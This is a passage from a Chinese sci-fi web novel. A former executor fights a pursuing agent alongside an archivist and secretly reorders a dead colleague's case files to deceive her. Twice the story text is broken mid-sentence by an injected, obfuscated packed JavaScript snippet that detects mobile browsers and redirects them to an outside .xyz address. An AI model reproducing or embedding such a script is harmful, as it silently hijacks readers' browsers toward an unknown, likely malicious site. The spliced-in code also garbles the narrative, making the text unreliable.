因为我背叛了她两次,毁掉了她生活回到正轨的最后机会,隐瞒了她想要知道的所有真相。我摇头:“我并不清楚。” 眼前的管理员调出无人机记录:“但你当时对她说‘我不能说’指的是什么?” 我叹了一口气:“我不能说。我已经说过了。我有保密协议,你去问核心管理层,他们不会让你问这个问题。” 曾经的同事耸肩,没有再纠结这个问题。我对着剩下的问题一问三不知,同事终于写完了笔录。看着她关掉摄像机,我起身准备离开,她却喊住我:“吴队。” 我假装没有听见,动作没有停顿,起身准备去拉门。她自顾自地说了下去:“没来过警局的人,没法把摄像机关机和笔录结束联系起来的。” 我的手停在了门把手上,还是不忍心再次晾着她们。她低声问我:“所以您才会消失?” “不要求证。”我回答她,“注重当下。” 我离开了记录室,光脚踩着瓷砖离开。来警局之前,已经去过医院检查,一身伤重新被仔细处理过,还拍了CT,吴潍还在医院等我的报告单。 揽了揽身上吴潍的风衣,把薄毯叠好在手臂上。其他说不好,但我在警局名正言顺地顺个毯子还是绰绰有余的。 我抬头去看城市的夜空。模糊的光点不如下层清晰,因为防护罩更厚,隔绝了太多真实光线。 这是我发现的第一处上层不如下层的地方。 “哇。”吴潍开车来警局接我回公寓,把报告单扔到我手里,“你的医药费全是我垫付的,你欠我好多哦,Wined女士。” “那我只能当你的保镖了。”我没什么感情地接着她的话茬。瞥一眼她颜色穿得乱七八糟的运动套装,决定闭嘴跳过这个槽点。 报告单上显示着我的左肩贯穿伤和撕裂伤叠加,需要定期换药复查,跳过,我自己是熟练工;后背的肋骨有几处小骨裂,脚踝有扭伤,都不是大问题,但如果不注意,会影响日后的运动,跳过,这是家常便饭;其他都是些废话,擦伤淤伤这类,我治都懒得治。 “真的吗?”吴潍不想放弃我的松口,“我们可以合作了吗?” “可以,但先回答我的问题。”我把报告单收好,“LEA是什么药剂的缩写?” 吴潍等红灯的间隙开了自动巡航,转过头,穿着那套滑稽配色的运动服,认真回答我:“就是你在仓库看见的‘Life-ExistenceAgent’。” “生命存在药剂”是我的直译。 “用来做什么的?”我摸着下巴,试图望词生意,但很显然,我的阅历不足以直接猜出来。 “记录身体一切反应的液体,具体是什么我也不清楚。”吴潍看得出来很努力地解释给我听,“比如说,你看了一部剧情很精彩的电影。第一次看很惊艳,但第二次就因为知道了剧情发展而索然无味。这份药剂可以让你反复重温第一次的激动感。” 这个用途听起来并不是很限制级,肯定有副作用和别的用法。我挑眉接着问她:“叶琦为什么要给我注射LEA?” 吴潍短暂沉吟,看了我一眼,犹豫着回答我:“注射大剂量LEA会导致像情绪反应过度一样的死亡。” 直觉告诉我,这种药剂感觉除了无痕谋杀和精神麻醉剂以外,还有别的用法和副作用,要不然这东西怎么会通过走私获取。 简单推理,我也没指望吴潍说清楚所有相关。长长地呼气代替叹气,提起新的话头:“你为什么会走私LEA?” 6. 计划之外的推进 吴潍会修改生命备份时间,我可以理解,不合格的备份数据,会严重影响管理员对其本人潜能发挥程度的鉴定,收入和名声都会大打折扣。 但走私药物?我唯一能想到的原因和用途只有—— 沉默了一会,她看了一眼我把怀疑和质疑都摆在明面上的脸,无奈地回答我:“不是你想的那样。” 我轻轻移开目光:“我没有那样想。” “总有人不愿意加入质疑周围人组织的。” 她看向车窗外的城市建筑,从记忆里拿出一段话,语气像在念一本很沉重的书。 “我下定决心去做,是我听见一位妹妹说:‘他们说我夺舍他们的亲人、爱人、挚友,但我有属于她的感情,记忆,习惯,生活地位,一切的一切。社会总和就是我这个个体。为何质疑我?’” 我沉默着。就是那种说不清道不明的直觉,微妙的认知错位和去而复得的离奇感,会在很多细节上进行不必要的追究。 “心理医生没法治愈他们,他们的环境无法更改。”我听见吴潍说,“LEA是她们唯一的慰藉。” 看见我还是一副意味深长的探究表情,吴潍连忙补全说明:“LEA是合法药剂,而且医疗上有这种用法。我都是直销给心理医生的,公对公,绝不对私。” 那倒也怪不得是销冠。我耸肩:“那心理医生为什么不对公去进货呢?” “LEA很新,而且被公司垄断了,我算是外包。”吴潍思索着,“城市内造价太昂贵,外面的相对便宜点。” 我忍不住问她:“你不好奇外面造价为什么便宜吗?” 吴潍敲了敲方向盘:“只要药剂有效,没人会在意。” 我有些无力地靠在椅背上:“你也不在意吗?” 她没有立刻回答我的这个问题,没开自动巡航,慢慢地踩着油门,心事重重般的目视前方。踌躇,又或者思考了很久才回答我:“就算是饮鸩止渴,我查不到鸩是否真的存在。” 她还真的去查了?乐观善良到我都快被她攻略了,说她天真且傻,还会走私那么多药剂没有被发现。 车停在吴潍公寓的地下车库,我们之间都没再说一句话。直到我和吴潍走进电梯,她才欲言又止地看着我。 “对不起。”吴潍没头没尾地在寂静中扯出一句道歉,声音低低的,听起来非常不安,“我应该早点看出来你不会是那个组织成员的,不应该拦着你去医院的。如果你不会处理伤口……” 我伸出手,在她的头顶狠狠摸了一把。卷翘蓬松的波浪长发摸起来手感奇佳,我的基因组简直就是完美中的完美。 回到客厅,我第一件事是去重新检查换下来的衣物。我有自信确保自己无人跟踪,吴潍的车后方也没有甩不掉的跟踪者,叶琦能找过来,只能是因为我身上有定位器。 十年过去,上层的科技发展得防不胜防,叶琦向来比我更擅长这些小东西。匕首类和工具我都用得不如她,就因为这个,还调侃过我“不会用刀,子弹打完了你就只能把枪当板砖用”。 那咋了,就说好不好用吧。我从记忆里叶琦的笑脸上找回思绪。手一寸一寸地从衬衫上摸过去,没有奇怪的凸起;更厚一点的裤子,内衣,甚至是袜子,鞋子我全部重新检查一番,没有任何可疑的物品。 吴潍看着我忙前忙后,想说什么,最后只给我倒了一杯温水。 一路上我和她,都默契地没有提起“叶琦为什么会想攻击我”的问题。 我要怎么解释才显得不那么突兀? 宁愿我因为受伤而疏忽这些物品的检查,是该死的组织手眼通天,我也不想怀疑叶琦。 我的心沉了沉。视线投向了袖臂匕首。 不喜欢匕首的人,却在出任务时带着用起来别扭的小匕首,原因能有什么呢?这是叶琦十年前送给我的。 当时我要去跟管理局对峙真相,她拦不住我去,我也严厉拒绝了她作为同行和后勤的选项,最后她只给我不由分说地绑上了这把小匕首。 我找吴潍借了工具,把它连带着绑带部分全部拆掉,终于在把手尾端三分之一处找到了可疑的部件。 熟悉的芯片定位器,并不是用来发射信号,而是记录性开放芯片。只要我在城市,能够被无人机拍到,叶琦就能知道我的定位。 这就可以解释了。叶琦前面对我说的,都未必是对着我,而是对着这把匕首,对着这把匕首之后的“挚友”。 现在的我对她而言,就是个注定湮灭的希望。 那些微妙的急切,微妙的不适,微妙的错位的情绪,都有了解释。她在挣扎,她在确认,她希望我是吴潍,又不是吴潍。 因为我拒绝了回归,断了叶琦最后的念想,所以她最后是想杀了我,杀了我这个夺走她记忆里挚友珍贵之物的凶手。 她本就……知道这一趟有去无回。 “定位芯片?”吴潍一眼就能看出来,“叶琦怎么做到在你匕首里装这个的?” 我放空的脑子瞬间回神,破坏芯片的手停顿了一瞬。在她伸手准备拿起来检查时,把螺丝刀插在芯片上,彻底破坏。 离得够近,她能看出来这是十年前的老款。定位芯片不知道迭代了多少版更好用的,为什么要在十年前就装定位芯片,我更解释不清。 “她送的匕首,但是芯片不是她装的。”我含糊其辞,“也许是我被组织抓过去的时候,他们改装的。” “那叶琦怎么没跟我提过那么个有旧情的人?”吴潍听到八卦似的靠在桌子边上,放弃再探头研究芯片,“虽然我调职了之后跟她们都疏远了,但也不至于到这种程度吧?” 我哼笑一声:“她也没跟我提过局里的同事呀?” 吴潍探究的目光在我身上停顿几秒,最后长叹了一声:“偶尔能在新闻上见到的人,现在什么地方都见不到了。” “但现在不是感慨的时候。”我起身,扫视了一下吴潍的诡异着装,“吴潍,你有没有颜色更正常一点的衣服?” 她非常不满我暗地里对她的衣品做出评价。其实我挺喜欢她身上这套的,但这玩意哪里能穿出门。 “有的,但如果你想要管理局那种特制的防护面料,那没有。”吴潍摊手,示意由我选择,“你要去做什么?” 拆散的匕首散落在桌面上,我把它们重新拼装起来,放在一边。我对着吴潍难得一笑:“从现在开始,你可没得选了。” 吴潍眨了眨眼睛,视线从我身上转到桌上的匕首,又转回来和我对视:“那我还能回来吗?” 你捡了个麻烦回来。我在心里对她说。吴潍的公寓位置暴露,不能确定叶琦有没有和组织的共享过信息,保险起见,还是应该转移。 我没有正面回答这个问题,在她没有反对的不为所动里翻起衣柜:“这是你看见这间公寓的最后一眼。” 挑了套次选项的宽松衬衫和有腰带的短裤,我可太知道吴潍会选择哪件出门了。 带着衣服大剌剌地走进浴室,我轻咳一声,尽可能恳切谄媚地对她说话:“就当是员工制服了,吴老板。” 我从来没有讨好上司的机会,很长一段时间里,准确来说,在我的整个职业生涯里,我就是那个上司。 “我没意见。”吴潍挥手,示意我赶紧滚进去换衣服,“你的贴心老板还包了你的衣食住行和医药费,不差你这套衣服。” 其实最大的问题是没有武器。原本我在公寓里留出了专门的武器收藏室,但在吴潍调职后变成了杂物间。 我手头唯一的杀伤性武器就是那把小匕首。 吴潍认不出这把匕首倒也正常。 如果她也有这把匕首,只会留下十年前案件的追查风险。在已结案的重大案件里,有人送了一把有定位器的匕首,却没有在案件里成为突破性的工具,吴潍一定会起疑。 管理局的给吴潍调文职,叶琦的升职,都是为了避免两个人见面。 我的车和行李都在叶琦家里,我还得想好用什么说辞才不会让吴潍起疑。这个伪造的移民身份还不如正儿八经的,叫什么,“战术型外聘顾问”,至少能解释我为什么会有没登记的车和管制武器。 我换好衣服,简单活动了四肢,估算身上伤口的影响。 左肩的伤口在没有麻醉的情况下会限制我的左右视野;握了握拳,小臂范围内活动和正常发力没有问题,战略优先选择贴身格斗,叶琦的小匕首反而合适;中距离要用到肩膀甩动,正面突袭和背面牵制要尽量避免;右手和腿部没有问题,只要不用左侧支撑,基本没有影响。 其他小伤口都无所谓,但如果我再从高处背部着地,就只能住院了。 很好,现在的首要目标是去叶琦家把我的腰包带上。我把小匕首别在右侧腰间,穿起吴潍的那件风衣,我是收拾完了,靠在门板上等她收拾完。 吴潍挎着中等容量的黑色手提包出现。果然是我猜测的紧身弹性上衣和长裤搭配,运动风格的荧光外套可算是换成了低调款。头发盘起,方便运动。 哎,真好看。我不着调地想,我知道自己适合什么风格。门口传来细微的脚步声,我伸手示意吴潍穿完鞋不要动,仔细谛听外面是邻居路过,还是来着不善。 我听见外面又熟悉的“滴”一声,脚步声也消失了。 见状,我不由分说地拉着她就往卧室跑。就在我转进卧室的瞬间,扫到来者绅士地推开门,就好像门上的锁不存在一样。 这种慢条斯理的非人感,是生命维护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272519|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执行官。太好了,我就知道管理层不会放过吴潍和我在天桥温室的“亲密”互动。执行官何必为难执行官,我心里哀嚎一声。我用在叶琦家里的开锁小技巧,它们可比我玩得标准。 “跳!”我可由不得吴潍犹豫着三四米的高度,“看准那块弧顶玻璃的缺口,你要是滑歪了,我可救不了你。” “但我已经十年没干过这种事情了啊!”吴潍依依不舍地拉着窗框,“一秒,就一秒!” 我没必要再催,看着面无表情的同行从门口跨步而来,手里标准的战术/匕首甩手飞出,直冲我的脑门。我躲不了,吴潍还在身后,迅速掏出右侧小匕首挡下这一击。 战术/匕首被弹飞,我虎口震得发麻。崩开的刀刃碎片划过我的脸颊。顾不得细微的疼痛,我紧跟着忍不住压着嗓子喊的吴潍一同跳下去。 双脚踩实落地的感觉真棒,成功降落在温室地面上,总算是一雪前耻了。叶琦的血迹还在,尸体已经被清理完毕,周围还有全息警戒线,搞得好像管理层重视这个案件到能水落石出一样。 吴潍就没那么清爽了,直到我抬头检查执行官的动向时,才堪堪扶着金属花架站起身。 “哪条路可以去停车场?” 我拉着她,夺下她不知道装着什么但颇有分量的包挂在身上,看着那位生命维护执行官跳出窗。 缺乏十年训练的前城市管理员大喘一口气,后退两步转身,和我并排向尽头的电梯狂奔。执行官比我熟悉城市追杀,不利用交通工具毫无优势。 “那个人是谁?”吴潍面对着楼层按键,摁了好几下地下三层,喘着气问我,“他也是组织的人?中间换人调查和追杀完全不需要时间吗?” 我靠在电梯墙壁上好整以暇地看着她:“并不是。那是管理层的秘密组织。” “你有赏金吗?”吴潍深呼吸站起身,“告诉我你的人头很贵,我还有被招安的机会。” 我摊手:“他们拿的都是死工资,不要想太多。” 吴潍对这个回答非常不满,电梯门一开就跨步迈了出去。我跟在她身后,行云流水地坐在驾驶位上,把包扔到后排。 “这是我的车!”吴潍坐进副驾驶的时候向我强调,“你别把我的车开废了!档案管理员的报酬很低的!” 我毫不在意地猛踩油门:“哪有老板亲自开车的道理。而且你还有灰产呢。” 久违地摸上爱车方向盘,虽然是我当初的型号升级款,但我依然爱它。熟练地开出地下车库,我看见执行官的脸淹没在后视镜的黑暗中。 “辐射区到底有什么?”剧烈运动后,尚未平息心跳的副驾驶捏着眉心问我,“到底有什么秘密让你这样被追杀?” 纠正,没在追杀我,是在追杀你。我不打算回答这个问题,平静地告诉她:“什么都没有。” 吴潍撇嘴,调整了坐姿,声音瘪瘪地对我说:“我不信。” 我冲她挑眉偏头,露出无辜脸。要不是双手没空,我还得摆出摊手,意表“你觉得呢”。 “所以你到底是做什么的?”她叹息似的问我,“招式像管理局出身,但你那种舍命打法很不符合管理局的理念。” “怎么看出来的?”我左转方向盘进入通向叶琦家的高速,“快速钳制目标怎么不算一种保全自身?” “直觉,很难说。”吴潍不上我的当了,撇开话题,“我是把所有秘密都和你透露干净了,你没有向我坦诚任何一件关于你自身的事。” “对,我确实是前管理员。”我轻笑一声,“我的职业是生命维护执行官,和刚刚追杀我们的那位是同行。” “啊,秘密组织。”吴潍意味不明地发出语气词,“那到底是做什么的?” “维护城市秩序。” “废话。”吴潍叹气,不满意我的回答。 我没急着回答这个问题,看见叶琦家近在咫尺,减慢了车速,停在路边,示意吴潍下车。 没有装备没法瘫痪门锁,我站到窗户门口,摸出缺了口的小匕首破坏玻璃。在吴潍不赞同的眼神中,从空缺中伸手打开机械内锁,轻松翻进叶琦家。 家里的陈设和我离开时相比,没什么变化。 我走两步从里面打开门锁,好让吴潍进门。她的视线落在外侧的玻璃上:“怎么没有警报?” “说明现在这栋独立别墅属于无人财产。”我回答她。叶琦死了还没五个小时,如此之快的回收速度,只能证明她已经没有财产牵扯的亲属了。 走到客房去拿我的装备,其实我也很想直接开车撞进来。反正管理局不会再追究叶琦的案子。就算我们在里面蹦迪,也只有一条扰民罪。 吴潍欲言又止,看着我在自己的行李上拿出装备挨个配好。 7. 请君入瓮的坐标 装填子弹,检查滑膛,手枪替换小匕首的右侧腰位;战术/匕首转到右后腰处;左侧腰间装满备用弹、消音部件、强光手电和其他零碎的技术工具——通常情况下我就这样出任务了。 至于那些战术防护装备太显眼和臃肿,对大多数任务为潜行暗杀的我来说太累赘,我甚至都没带过来。 看了一眼在旁边忐忑不安的吴潍,我翻了翻从下层带过来的包,递给她耳麦和备用枪。 “总之,不要对着我开枪。”我跟她说,“你现在才跟我是一条绳上的。” “你的装备为什么会在她这里?”吴潍还是问出这个我想了一路要怎么回答的问题,收好手枪,戴上耳麦,“叶琦比你高许多,骨架也大你一圈,她的腰包码数不适合你。” “出了点意外。”我收拾好剩余的物品,清理掉我存在过的意外痕迹,“我应该当天结束任务就离开的。” 吴潍的声音从客厅传来,没对我的解释提出质疑:“听起来很不称职啊,执行官。” 啧,怎么说话的。我走出客房,看见她在客厅的装饰柜上看见了叶琦和女儿的合照,端起来看了许久。 我趁机转入书房,忽略在客厅走神思考的吴潍,迅速翻看叶琦追查了十年的人类异常信仰案件。 案件细节依然停在当年的“精神分裂”上,所有问题指向辐射区存在问题。人类异常信仰组织的成立初衷,也就是因为想去探索辐射区。 十年后的卷土重来意味着什么?当时我的队伍里的所有人都知道辐射区极度危险且荒无人烟,后期为什么叶琦加入了这个组织?什么促使她改变了? “Wined?” 吴潍在客厅喊我,匆匆把叶琦的调查报告整理好,收进我的行李包。虽然她的语气并不急切,但我还是下意识摸上了腰间的枪:“怎么了?” “叶琦有一个女儿?”吴潍听起来非常诧异,“她的档案没有关联到任何一个孩子。” 我想起叶琦手上的戒指:“她结过婚,不意外吧?” “你有看过她的卧室吗?”吴潍暂时没有反驳我,转而问我,“她的女儿照片上才两三岁,但是她的客厅所有的尖锐桌角都是裸露的。” 我没法回答,只好先去查看叶琦的卧室。漆黑一片我看不出什么,抬手开灯,才看见整个卧室疏于整理。 被子乱糟糟地团在床中央,枕头歪斜,床边挂着外套和内搭。地板落着些潦草的水痕。床头柜上有一张照片。 上前两步,拾起单独一张的照片查看。 没有折痕,手感是很旧的那种相纸,没有塑封,边缘因为长期查看有些毛躁。背面潦草的字体写着“3822-02-19-03-27-06-余殷”,是叶琦的字迹。我又翻到正面,冷不丁被吓了一跳。 那是一张男人睡在浴缸里的自尽遗照。 照片上的男人我并不认识。他仰着头,赤裸着胸膛,胸口以下,连带着左手都泡进了红色的水里。拍摄角度居高临下,冷色探照灯似的打光氛围,看起来更像是警局记录。 我仔细观察了一番:男人眼下有明显的黑眼圈,整个人憔悴而瘦削。如果我没猜错,这男人应该就是叶琦死去的丈夫。 看起来像情绪困扰而自尽,联系到叶琦对我透露的只言片语,大概也是因为被质疑成“生物复制体”而无法解脱,只能挥刀向自己。 但天天把丈夫尸体照放在眼皮子底下,叶琦的精神状态真的扛得住吗?再仔细观察一番照片,没有更多值得研究的细节,我本想倒扣回床头柜,但最后还是和她的资料放在了一起。 拉开衣柜,没有适合小女孩的衣服,所以叶琦是独居。她的丈夫自尽了,那她女儿去哪了? 没等我想出点可能性,我听见吴潍尖叫一声,然后传来几声沉闷的枪响。我迅速放下包,摸出手枪贴紧卧室门口墙壁,探头去看发生了什么。 吴潍躲在沙发背后,我看见被暂时甩掉的执行官再次追了上来。他的任务目标就是吴潍,视线明显地略过我,更换弹夹,调整持枪角度,向她所在的掩体靠近。 我举枪瞄准他的头部,忽然又有些犹豫。杀了执行官,就等于彻底背叛了生命管理局,再也没有回头路了。 “操。”我暗骂一声,收好手枪,转而摸出匕首,压低身形,摆好架势,直冲对方背对我的脊柱。远距离投掷的力道不足以击碎对方的骨骼,我只能选择近身。 不知道城市执行官的技术如何,但下层的那些个复制体并不咋样。 对方觉察到我的攻击,几乎是立刻迅速转身面对我,曲腿后撤半步,来不及避开我的攻击,退而用手臂抵挡我的攻势。 我的匕首扎穿了他的左小臂,一时半会拔不出来。对方的血液涌出,顺着刀片往下滴落,而他本人就只是轻微皱了眉头。 是疼痛降低型的,得速战速决。干脆直接放弃刀具,我压低身子避开对方试图压制我的手,同时避开来自左侧的持枪近战袭击,起身同时右手顺势蓄力,瞄准对方肋骨下方猛攻一拳。 正常居民挨这一下几乎是瞬间丧失行动能力,但他只是下意识弯了腰。 我不敢贪刀,左手卡住他逆路反攻的持枪右手,瞄准关节,抬起右臂落下肘击,听到骨骼一声错位脆响,顺利卸枪。 他进攻节奏恢复很快,抬起插着匕首的左臂,直冲向我的脖子。迅速下蹲,左手借力拉过他的左手腕,我侧跨一步移动到他身后,顺势将他左手压在他背上,提膝踹向对方的腿弯。 但对方只是晃了一下,没有跪下去。左肩因为用力而有些颤抖,我不敢拖延,右手迅速掏出手枪估算对方脊柱位置,避开直接致命的要害,在他的下半段脊椎上开枪。 一声枪响,周围重归寂静。 他整个人往前扑在茶几上,玻璃渣子飞了一地。他的下半身已经瘫痪,但还没有死,左手摸索着还在去找枪。我干脆踩住他的左手,把匕首拿回来,顺势甩了甩血。 这执行官并不想取我的命,不然近距离他会选择开枪,而不是直接持枪钝击我。 基于这点,我可算是知道他为什么会来了。 我的通讯手环在逃出信仰组织的时候就碎了。 核心管理层联系不上我,又看见我和吴潍在叶琦尸体面前抱成一团,就算是我被“单方面”抱成一团,他们也认为我的任务“失败”了。 龇牙咧嘴地摸摸也许又渗血的左肩,我看着在沙发背后冒头的吴潍:“你想先查哪条线索?LEA?还是叶琦为什么会加入组织?” “他死了吗?”吴潍扶着沙发背站起来,不知道是害怕还是担心。 我叹气,蹲下身子抓起对方的头发,让她看见生物复制体还在眨眼:“你看,活着呢。” 我又摇了摇手里的枪,“你有枪,你得记得开。” 吴潍点点头,但没有选择开枪了结。 这下我放心了。 执行官是工具,只要还能带回信息和线索,就不会被认为是任务失败;他一旦被回收,管理层就知道我是出了意外联系不上,而不是因为放弃任务。 况且这城市的医疗技术只要没有当场死亡,基本都能救回来。 真令人安心的技术。我想着,俯身顺手抽了张原本在茶几上的抽纸,擦了擦匕首表面,收好它。 至少在未来两个星期里,管理层不会再派倒霉蛋过来了。说不定过两天会派个“呜哩哇啦”的无人机,喊着“遗失物品请查收”给我送新手环。 但如果再遇到执行官,就会连带着我一起被追杀,无论我要做什么,都要抓紧时间了。 我临出门又看了一眼还在挣扎的倒霉蛋,确实是我做得太过了。那也没办法,要是我身上没伤,也只会让他“断骨增高”,而不是半身不遂。 再加上,城市执行官比我想象中难缠多了,就过的这么几招,力道策略比下层的那些好太多。 血腥小插曲告一段落。 我带着也许有点价值的信息走进叶琦的车库,去开我那辆基本手动挡老古董。吴潍的车太高级且被登记了,去哪都等于直播定位,我说执行官怎么会这么快跟上来。 我拉开副驾驶那边的门,顺手把当时冲动扔了一座位的纸质档案收拾好,才请吴潍入座。她看见我的老古董反而两眼放光了,我还担心她坐不惯这种颠簸的车。 “你说他也是执行官?”吴潍安分坐在副驾上,和我对话,“那和你有什么不一样吗?” “非要说与众不同的地方,”我手搭在方向盘上,冲她一笑,“没有我保不下来的人,也没有我杀不掉的人。” “听起来像犯罪分子。”副驾驶靠在座位上,闭目养神。 我看着公路尽头缓慢出现的太阳,想笑又笑不出来。颠簸了一晚上,我是没什么感觉,往日蹲伏任务目标,一连几天不眠不休都是正常的,但她肯定需要好好睡一觉。 设定自动巡航到城市边缘绕圈,打开驾驶位的小灯,我才开始拆出叶琦的文件,看看里面有没有给出什么线索。 当时的人类异常信仰案件记录为已结案,不能公开查看,叶琦的这份也只是复印件。她单开一页列出曾经的“首领嫌疑名单”,在最后一行用箭头指向我的名字,最后在我的名字旁边写上"失踪"两个字。 嗯,思路正确。叶琦当时是卧底,这份名单只给我看过,而后我就被“调职”了。但她送给我的匕首上有定位,所以她知道我离开了城市,确认我是失踪的。 这一页不能给吴潍看。我本想立刻取下,转念一想,叶琦没有标注时间,只需要把这页的顺序调换到后方,就能用组织诱骗解释了。 而后的文件记录上的笔迹有些不一样。我拿近观察一番。似乎是换了新的笔,时间跨度有些长。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272520|182377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶琦在名单背面写了一行“第二次人类异常信仰”,在旁边画了个问号,最后箭头又指向嫌疑名单,下面写满了已确认死亡的嫌疑人名字。 我知道她在想什么。在名单上的所有人我都根据生命管理局的要求处理掉了,组织成员会因为缺少引导而解散,很难再成气候。 我没有找到时间,但在后面一页上有一个日期:12.27,旁边写着“任务结束”。 暂时想不到是什么任务,但数字组合却很熟悉,翻出那张疑似叶琦丈夫的尸体照背面,同样有“12-27”,所以背面的那串数字“3822-02-19-12-27-06”应该是时间。 如果是死亡时间,精确到秒会不会太困难了?自杀者本人都不一定会记录这么精确的时间;如果是时间跨度,最后的“06”也没有可以对应的格式。 我摸摸下巴,重新琢磨起来。 如果是某种编号,我印象中的14位编号都不会是纯数字,要么是叶琦当时就没有获取到完整编号,要么就是这份编号是小范围的应用。 叶琦也在这一页写了这一串数字,也经历过我的上述思考,没有文字描述,但我看得出来她在想什么。 她经过各种排列组合推测,最后选择了照片背后的写法。她也不确定如何切分这串数字,在最后的“06”上打了个问号。 和文件里的叶琦一样,暂时放下对时间性质疑问,我接着翻过有数字的这一页。 中间似乎又换了一支笔,叶琦着重标记了“LEA”,旁边用小字写着:复制体必备药剂,还加了一个问号。 联系起照片上男人憔悴的形象,我可以肯定:叶琦加入组织的原因,大概率和她的丈夫有关。 “LEA”这一串下方空白写满了语焉不详的短句,像是某种教义的节选,大多意思都在表达“他们是对的,信仰是对的”。 这页的最后一行留下一句“我已经走投无路了,在那里他们会向我证明,一切有迹可循”。 文件结束了。一份复印件和两页写满了推理的纸,前一页跟名单有关,后一页跟组织的新线索有关。 除了“LEA”和“那里”,对我来说没有得到太多有效信息。 叶琦最后前往的地点,肯定是她思想变化的转折点。 把推理的两页纸调换位置,我把纸张两次对折之后压平,防止书写时的压痕暴露。 完全没有压痕也不可信。叶琦的文件加起来也不算很厚,就算长期压在案件复印件底下,情绪上头划得很深的横线也不会完全压平。 我在空白相对较多的部分仔细用手掌压平,上一页“嫌疑名单”下方横线透下来的痕迹就只是尽量抚平。 我从头翻起文件,确认看不出确凿顺序的压痕消失,确认吴潍看见的顺序是:叶琦为了探查那串意味不明的数字而加入了组织;组织没有让叶琦信服,决定铲除组织;她卧底组织推断出首领嫌疑名单;因为“吴潍失踪”,觉得自己必须站出来,代替吴潍对嫌疑人进行清算。 “吴潍”可是第一次人类信仰案件的队长呢,离真相最近,被黑暗吞噬,最终离开了前线。 至于我为什么要被追杀,只能是叶琦觉得,组织在利用“前任队长”的生物复制体来侮辱她。 这故事编得我都要信了。既符合叶琦打破砂锅问到底的执着,又体现出和黑暗玉石俱焚的性格。 如果我不知道真相,我会相当欣赏她,虽然我本身就很欣赏她。 我会不会太冷血了?整理叶琦文件的时候,我忽然有些良心不安。在下层这种故事编排几乎成为了习惯,编排的故事也仅仅是为了让任务目标心甘情愿,或者心灰意冷地被我处理掉。 很有效率,但不太人性。话又说回来,在下层讲人性,跟即将饿死的人说“你最后一个馒头分给别人吧”没区别。 我看了眼时间,已经自动巡航了半小时,瞥一眼吴潍明显睡过去的模样,不太忍心叫醒她。她真的比我善良太多了。看了会后视镜,我没有发现可疑的车辆和生物跟随。 重新思考起那串照片背后的数字,除了“1227”四个数字在那串数字中有所切实关联,其他都是猜测。 我对她的丈夫知之甚少,叶琦如果因为她的丈夫而崩溃,那如果有他的档案,也许就能得到更多信息,解读这串不明所以的数字。 捏了捏眉心,我还是决定推醒吴潍。她被吓得整个人坐正,手挡在胸口一副戒备模样。 “醒了?”我故意问她,把文件递给她,“这是叶琦家里的文件,你看看能得到什么?” 吴潍接过档案,没好气地顶撞我:“我还以为我又要死了。” “放心。”我虚心接受老板的批评,观察着后视镜,“除非从我的尸体上踏过去,老板。” “你最好说到做到。”吴潍懒得信我“忠心耿耿”。 8. 请君入瓮的坐标 这会是上班高峰期,就算是居民区郊区,车流量也开始增加了,我得多加注意。我的老板“哼”了一声,打开文件查看起来。 我扶着方向盘,拿出墨镜挡住阳光,顺便掩盖眉眼:“吴潍,城市里能有为期一年的任务吗?” “探索辐射区。”吴潍对着各种不认识的名词皱眉,“九个月以上。” 我有些疑惑:“这不是自愿申请的吗?” “绝大多都是抽签决定,少量自愿申请会通过。”她翻过一页,狐疑地看我一眼,“你到底是从哪条时间线上过来的,这份抽签都稳定运行十年了。” 十年前的那条,管理局还剽窃我的方案。以前还是在生命管理局里自愿申请,这么多年过去了,普通居民都参与进来了。 我暗自腹诽,继续问她:“你见过一份叫‘余殷’的档案吗?” “哪两个字?”吴潍翻到了最后一页,又倒着往前翻,“你知道生命管理局的档案中重名率高达百分之十吗?” 听起来也没有很多。我很没常识地想着,回答她:“那张照片背面的‘余殷’,我怀疑是叶琦的丈夫。事情的源头都指向他,我们需要他的档案。” “我知道了。”吴潍扫了一眼照片背面文字,“那你送我去上班吧。” 我刚想说开什么玩笑,又想起来她是档案管理员,要去找档案再方便不过。没有过多思考,我转弯进入通向城市中心的路。 “看出什么了?”我摸了摸车门的储物格,拿出两瓶水分给吴潍一瓶,“跟我说说你的角度。” 她接过水,拧开瓶盖喝了一口,有些感慨似的回答我:“叶琦跟以前没什么差别,冲动莽撞,但方向依然是对的。” “嗯。”我回应她,“然后呢?” “没了。”吴潍说。 我重复她的话:“没了?” “我看出来的你也看出来了,还有必要赘述吗?”她拧紧瓶盖,又准备去睡觉,“第一,是去把那串数字解开;第二,找‘那里’是什么地方;第三,LEA和复制体有什么关系。” 我沉默一会,开了自动巡航,拧开自己的瓶盖喝了一口:“你不问别的吗?” “那你能说实话吗?”吴潍显然不信任我。兴许是没有睡好的起床气,她语气都没有之前柔软了,这听起来才有几分我以前在管理局的影子。 想反驳,但我从跟她正式接触开始,就没几句正经实话。虽然逻辑自洽,但吴潍听得出来,我不愿意说。 她似乎觉得自己的语气太冲,又叹一口气,睁开眼睛看着我:“唉,我是有很多问题,但那些问题都是我们要去找答案的。你觉得我能问点什么?” 这是在报复我呢。我尽可能诚恳地表忠心:“我真的会认真回答你的下一个问题,我拿我的工资卡发誓!” 吴潍平静的笑意依然挂在嘴角,似乎是无心一说:“你调换文件顺序了吗?” “为什么这么问?”我撑在车窗框上问她,“我改文件顺序做什么?” 